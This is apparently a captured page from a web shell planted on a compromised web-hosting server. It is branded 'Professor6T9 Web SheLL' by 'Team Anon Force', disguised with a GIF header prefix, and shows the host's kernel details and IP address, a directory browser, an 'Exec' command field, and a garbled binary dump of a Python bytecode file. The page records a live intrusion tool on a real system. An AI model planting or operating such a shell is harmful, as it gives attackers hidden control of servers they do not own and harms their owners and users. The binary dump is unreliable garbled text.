GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
proc
/
thread-self
/
root
/
opt
/
alt
/
python313
/
lib
/
python3.13
/
site-packages
/
pip
/
_vendor
/
idna
/
__pycache__
[ HOME ]
Exec
Submit
intranges.cpython-313.pyc
� 2biY � � � S r SSKrSSKJrJr S\\ S\\S4 4S jrS\S \S\4S jrS\S\\\4 4S jrS \S\\S4 S\ 4S jr g)a Given a list of integers, made up of (hopefully) a small number of long runs of consecutive integers, compute a representation of the form ((start1, end1), (start2, end2) ...). Then answer the question "was x present in the original list?" in time O(log(# runs)). � N)�List�Tuple�list_�return.c � � [ U 5 n/ nSn[ [ U5 5 HW nUS- [ U5 : a X XS- S- :X a M'